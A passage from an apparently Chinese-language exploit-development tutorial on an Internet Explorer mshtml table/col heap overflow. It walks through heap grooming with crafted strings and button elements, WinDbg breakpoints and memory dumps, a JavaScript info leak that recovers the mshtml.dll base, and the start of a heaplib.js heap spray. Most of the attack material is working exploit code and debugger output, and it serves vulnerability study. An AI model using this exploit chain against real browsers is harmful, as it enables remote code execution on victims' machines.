style="table-layout:fixed" ><col id="81" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="82" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="83" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="84" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="85" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="86" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="87" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="88" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="89" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="90" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="91" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="92" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="93" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="94" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="95" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="96" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="97" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="98" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="99" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="100" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="101" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="102" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="103" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="104" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="105" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="106" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="107" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="108" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="109" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="110" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="111" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="112" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="113" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="114" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="115" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="116" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="117" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="118" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="119" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="120" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="121" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="122" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="123" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="124" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="125" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="126" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="127" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="128" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="129" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="130" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="131" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="132" width="41" span="9" >&nbsp </col></table>
</body>
</html>

因为JavaScript中的Array并不是连续的(貌似是赋值的时候动态申请的内存,通过链表之类的连接在一起),所以可以实现上述内存布局。
这里解释两个问题:

  1. 为什么是(0x100 - 6) / 2
    因为前文也提到了,字符串除了数据本身,还有4字节的头部和2字节的尾部,所以为了保证整个字符创是0x100字节大小的,我们需要先减去头部和尾部的长度。
    又因为javascript中默认是使用Unicode,所以每个字符占用的是2个字节,所以还要除以2。
  2. 为什么大小需要是0x100
    在poc分析中我们可以发现,申请的空间大小是spannum * 0x1c,在上面构造布局的代码中,spannum == 9,可知申请的空间大小为9 * 0x1c = 0xfc,在字节对齐都就是0x100
  3. 为什么需要使用div_container.appendChild(obj);
    这里引用c00c师傅的解释

    CButton的大小为0x58,无法和3次申请的0x100大小的空间连续起来,但是通过appendChild可以申请0xfc的大小,成功和前3块连续起来。

调试笔记

这里学到个姿势,大部分的JS函数都可以在jscript.dll中找到对应的API名字

为了能够看到堆块的释放和创建,我们创建如下两个断点:

1
2
bu ntdll!RtlFreeHeap ".echo free heap;db poi(esp+c) l10;g"
bu mshtml!CTableLayout::CalculateMinMax+0x1df ".echo vulheap; dd poi(ebx+9c) l4;g"

第一条是在调用ntdll!RtlFreeHeap函数去释放堆块时,输出poi(esp+c)处,即被释放的地址处的数据
第二条是在刚好执行完mshtml!CImplAry::EnsureSizeWorker的下一条指令处,输出刚申请的堆块的地址

由于输出的信息可能较多,所以可以将其保存在文档中,命令.logopen

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
0:005> .logopen
Opened log file 'dbgeng.log'
0:005> g
free heap
000cc870 5c 00 3f 00 3f 00 5c 00-43 00 3a 00 5c 00 57 00 \.?.?.\.C.:.\.W.
...
free heap
000e4b00 40 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 @...E.E.E.E.E.E.
free heap
000eef28 40 00 00 00 41 00 41 00-41 00 41 00 41 00 41 00 @...A.A.A.A.A.A.
...
free heap
02b89e38 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E.
free heap
02b8a258 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. <======++
free heap ||
02b8a678 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. ||
free heap ||
02b8aa98 fa 00 00 00 45 00 45 00-45 00 45 00 45 00 45 00 ....E.E.E.E.E.E. ||
... ||
vulheap ||
02b8a258 0000018e 00450045 00450045 00450045 =======++
...
0:013> db 02b8a258 l400
02b8a258 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02b8a268 45 00 45 00 41 00 45 00-58 40 01 00 05 14 00 00 E.E.A.E.X@......
02b8a278 05 14 00 00 05 14 00 00-00 00 00 00 45 00 45 00 ............E.E.
02b8a288 41 00 45 00 58 40 01 00-05 14 00 00 05 14 00 00 A.E.X@..........
02b8a298 05 14 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
02b8a2a8 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02b8a2b8 00 00 00 00 45 00 45 00-41 00 45 00 58 40 01 00 ....E.E.A.E.X@..
02b8a2c8 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02b8a2d8 45 00 45 00 41 00 45 00-58 40 01 00 05 14 00 00 E.E.A.E.X@......
02b8a2e8 05 14 00 00 05 14 00 00-00 00 00 00 45 00 45 00 ............E.E.
02b8a2f8 41 00 45 00 58 40 01 00-05 14 00 00 05 14 00 00 A.E.X@..........
02b8a308 05 14 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
02b8a318 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02b8a328 00 00 00 00 45 00 45 00-41 00 45 00 58 40 01 00 ....E.E.A.E.X@..
02b8a338 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02b8a348 45 00 45 00 41 00 45 00-58 40 01 00 45 00 00 00 E.E.A.E.X@..E...
02b8a358 cc 82 cf 1c 79 00 00 88-fa 00 00 00 41 00 41 00 ....y.......A.A.
02b8a368 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a378 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a388 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a398 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3e8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a3f8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a408 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a418 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a428 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a438 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a448 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
02b8a458 41 00 41 00 41 00 00 00-2b 82 cf 1c 00 00 00 88 A.A.A...+.......
02b8a468 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B.
02b8a478 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a488 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a498 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4a8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4b8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4c8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4d8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4e8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a4f8 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a508 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a518 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a528 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a538 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a548 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02b8a558 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B...
02b8a568 0a 82 cf 1c 62 00 00 8c-f8 3a b2 65 68 76 0b 00 ....b....:.ehv..
02b8a578 48 28 b6 02 90 3c b2 65-01 00 00 00 00 00 00 00 H(...<.e........
02b8a588 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................
02b8a598 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................
02b8a5a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a5b8 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... .......
02b8a5c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a5d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a5e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a5f8 00 00 00 00 00 00 00 00-00 00 00 00 20 a6 b8 02 ............ ...
02b8a608 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a618 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a628 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02b8a638 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
02b8a648 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

可以在代码最后加上一句alert(1),以提醒已经执行完毕。
在log中找到最后一个vulheap,该heap即为我们打算去控制的col标签所创建的heap,id为132
查看该处内存,很容易发现字符串”EEEE…”处已经被覆盖。

泄露数据

我们已经成功的构造了前文中所需的内存布局,接下来就需要进行第一次溢出了,让溢出数据覆盖掉后面字符串的长度信息。
由上文数据可知,从起始地址0x02b8a258到字符串”BBBB…”的长度信息地址0x02b8a468,长度为0x210,再加上4字节的长度信息,总共为0x214字节
因为数据是以0x1c为单位长度写入的,所以需要设置span值恰好为0x214/0x1c == 0x13 == 19

溢出代码

1
2
3
4
5
function leak() {
var leak_col = document.getElementById("132");
leak_col.width = 41;
leak_col.span = 19;
}

调试笔记

同样的方法,找到最后一块vulheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
0:013> db 02cd1e70 l400
02cd1e70 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02cd1e80 45 00 45 00 41 00 45 00-58 40 01 00 05 14 00 00 E.E.A.E.X@......
02cd1e90 05 14 00 00 05 14 00 00-00 00 00 00 45 00 45 00 ............E.E.
02cd1ea0 41 00 45 00 58 40 01 00-05 14 00 00 05 14 00 00 A.E.X@..........
02cd1eb0 05 14 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
02cd1ec0 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02cd1ed0 00 00 00 00 45 00 45 00-41 00 45 00 58 40 01 00 ....E.E.A.E.X@..
02cd1ee0 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02cd1ef0 45 00 45 00 41 00 45 00-58 40 01 00 05 14 00 00 E.E.A.E.X@......
02cd1f00 05 14 00 00 05 14 00 00-00 00 00 00 45 00 45 00 ............E.E.
02cd1f10 41 00 45 00 58 40 01 00-05 14 00 00 05 14 00 00 A.E.X@..........
02cd1f20 05 14 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E.
02cd1f30 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02cd1f40 00 00 00 00 45 00 45 00-41 00 45 00 58 40 01 00 ....E.E.A.E.X@..
02cd1f50 05 14 00 00 05 14 00 00-05 14 00 00 00 00 00 00 ................
02cd1f60 45 00 45 00 41 00 45 00-58 40 01 00 05 14 00 00 E.E.A.E.X@......
02cd1f70 05 14 00 00 05 14 00 00-fa 00 00 00 41 00 41 00 ............A.A.
02cd1f80 41 00 41 00 58 40 01 00-05 14 00 00 05 14 00 00 A.A.X@..........
02cd1f90 05 14 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A.
02cd1fa0 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02cd1fb0 41 00 41 00 41 00 41 00-41 00 41 00 58 40 01 00 A.A.A.A.A.A.X@..
02cd1fc0 05 14 00 00 05 14 00 00-05 14 00 00 41 00 41 00 ............A.A.
02cd1fd0 41 00 41 00 41 00 41 00-58 40 01 00 05 14 00 00 A.A.A.A.X@......
02cd1fe0 05 14 00 00 05 14 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A.
02cd1ff0 41 00 41 00 58 40 01 00-05 14 00 00 05 14 00 00 A.A.X@..........
02cd2000 05 14 00 00 41 00 41 00-41 00 41 00 41 00 41 00 ....A.A.A.A.A.A.
02cd2010 58 40 01 00 05 14 00 00-05 14 00 00 05 14 00 00 X@..............
02cd2020 41 00 41 00 41 00 41 00-41 00 41 00 58 40 01 00 A.A.A.A.A.A.X@..
02cd2030 05 14 00 00 05 14 00 00-05 14 00 00 41 00 41 00 ............A.A.
02cd2040 41 00 41 00 41 00 41 00-58 40 01 00 05 14 00 00 A.A.A.A.X@......
02cd2050 05 14 00 00 05 14 00 00-41 00 41 00 41 00 41 00 ........A.A.A.A.
02cd2060 41 00 41 00 58 40 01 00-05 14 00 00 05 14 00 00 A.A.X@..........
02cd2070 05 14 00 00 41 00 00 00-03 e3 d4 22 20 28 00 88 ....A......" (..
02cd2080 58 40 01 00 42 00 42 00-42 00 42 00 42 00 42 00 X@..B.B.B.B.B.B.
02cd2090 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20a0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20b0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20c0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20d0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20e0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd20f0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2100 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2110 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2120 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2130 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2140 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2150 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2160 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B.
02cd2170 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B...
02cd2180 3c e3 d4 22 61 70 00 8c-f8 3a b2 65 90 05 31 00 <.."ap...:.e..1.
02cd2190 50 7c cd 02 90 3c b2 65-01 00 00 00 00 00 00 00 P|...<.e........
02cd21a0 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................
02cd21b0 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................
02cd21c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd21d0 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... .......
02cd21e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd21f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd2200 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd2210 00 00 00 00 00 00 00 00-00 00 00 00 38 22 cd 02 ............8"..
02cd2220 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd2230 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................
02cd2240 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
02cd2250 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................
02cd2260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................

可以发现这次字符串”AAAA…”区域也明显被覆盖,同时”BBBB…”字符串的长度信息变为了0x00014058
这意味着”BBBB…”字符串的长度被扩大了,只要再次读取该字符串的内容,位于其后方的CButtonLayout数据也会被一并读取。

mshtml.dll基址泄露

1
2
3
4
5
6
7
8
9
10
11
12
function get_leak(){
for (var i = 0; i < 500; i++) {
if (al[i].length > (0x100 - 6) / 2) {
var leak = al[i].substring((0x100 - 6) / 2 + (2 + 8) / 2, (0x100 - 6) / 2 + (2 + 8 + 4) / 2);
leak_addr = parseInt(leak.charCodeAt(1).toString(16) + leak.charCodeAt(0).toString(16), 16);
alert("CbuttonLayout虚表指针: 0x" + leak_addr.toString(16));
mshtmlbase = leak_addr - 0x173af8;
alert("mshtml.dll基址ַ: 0x" + mshtmlbase.toString(16));
break;
}
}
}

首先在al数组中找到长度异常的字符串,前文已经解释过长度为(0x100 - 6) / 2的原因了
关于定位虚表指针位置:
leak.png
由上图便可知虚表指针与字符串起始地址偏移的关系了。

关于mshtml基址的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0:007> x mshtml!CButtonLayout::*
65b7519d mshtml!CButtonLayout::GetThemeClassId (<no parameter info>)
65bf0d9d mshtml!CButtonLayout::GetInsets (<no parameter info>)
65b23c90 mshtml!CButtonLayout::`vftable' = <no type information>
65b75499 mshtml!CButtonLayout::GetAutoSize (<no parameter info>)
65d862f6 mshtml!CButtonLayout::HitTestContent (<no parameter info>)
65b5b4b7 mshtml!CButtonLayout::DrawClientBackground (<no parameter info>)
65b29251 mshtml!CButtonLayout::Init (<no parameter info>)
65b75499 mshtml!CButtonLayout::GetMultiLine (<no parameter info>)
65cf61d8 mshtml!CButtonLayout::s_layoutdesc = <no type information>
65d862e6 mshtml!CButtonLayout::GetBtnHelper (<no parameter info>)
65d86121 mshtml!CButtonLayout::GetFocusShape (<no parameter info>)
65cf61d1 mshtml!CButtonLayout::GetLayoutDesc (<no parameter info>)
65d86281 mshtml!CButtonLayout::DoLayout (<no parameter info>)
65b7519d mshtml!CButtonLayout::GetWordWrap (<no parameter info>)
65b23af8 mshtml!CButtonLayout::`vftable' = <no type information>
65b5b4f2 mshtml!CButtonLayout::DrawClient (<no parameter info>)
65bd32da mshtml!CButtonLayout::`scalar deleting destructor' (<no parameter info>)
65d85f61 mshtml!CButtonLayout::DrawClientBorder (<no parameter info>)
65bd32da mshtml!CButtonLayout::`vector deleting destructor' (<no parameter info>)
65bf2394 mshtml!CButtonLayout::GetDefaultSize (<no parameter info>)
0:007> lmm mshtml
start end module name
659b0000 65f62000 mshtml (pdb symbols)

虽然我不知道为什么有两个虚表,但是都试试总没错
其中第二个虚表的地址与mshtml的偏移和《漏洞战争》中的相同,为0x65b23af8 - 0x659b0000 = 0x‭173af8‬
vtable.png
base.png

堆喷射

在成功泄露地址之后,我们接下来开始考虑shellcode的摆放问题。
因为javascript中存在一张缓存表,其结构如下

1
2
3
4
CacheEntry bin_1_32     [6];  // blocks from 1 to 32 bytes
CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes
CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes
CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes

在申请字符串的时候会优先考虑该缓存表中是否有合适的内存块,这会使得申请的堆内存位置变得不可靠。
所以我们需要想办法清空该缓存,使我们的每次申请都由系统堆进行处理。
具体方法参考Plunger technique

我们使用6个块作为plunger,将所有较小的块从缓存中移出,然后我们再次分配6个块将plunger取出,就可以清空所有bin

这里我们使用了一个javascript堆管理库,叫做heaplib.js,它封装了上述清空缓存表的操作,我们可以直接使用
我们先试试一个普通的堆喷射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<html>
<head>
<script type="text/javascript" src="heaplib.js"></script>
</head>
<body>
<div id="evil"></div>
<script>
var free = "EEEE";
while (free.length < 480) free += free;
var string1 = "AAAA";
while (string1.length < 480) string1 += string1;
var string2 = "BBBB";
while (string2.length < 480) string2 += string2;
var fr = new Array();
var al = new Array();
var div_container = document.getElementById("evil");
div_container.style.cssText = "display:none";
for (var i = 0; i < 500; i+=2) {
fr[i] = free.substring(0, (0x100 - 6) / 2);
al[i] = string1.substring(0, (0x100 - 6) / 2);
al[i+1] = string2.substring(0, (0x100 - 6) / 2);
var obj = document.createElement("button");
div_container.appendChild(obj);
}
for (var i = 200; i < 500; i += 2) {
fr[i] = null;
CollectGarbage();
}
</script>
<table style="table-layout:fixed" ><col id="0" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="1" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="2" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="3" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="4" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="5" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="6" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="7" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="8" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="9" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="10" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="11" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="12" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="13" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="14" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="15" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="16" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="17" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="18" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="19" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="20" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="21" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="22" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="23" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="24" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="25" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="26" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="27" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="28" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="29" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="30" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="31" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="32" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="33" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="34" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="35" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="36" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="37" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="38" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="39" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="40" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="41" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="42" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="43" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="44" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="45" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="46" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="47" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="48" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="49" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="50" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="51" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="52" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="53" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="54" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="55" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="56" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="57" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="58" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="59" width="41" span="9" >&nbsp </col></table><table style="table-layout:fixed" ><col id="60" width="41" span="9" >&nbsp </col></table><table 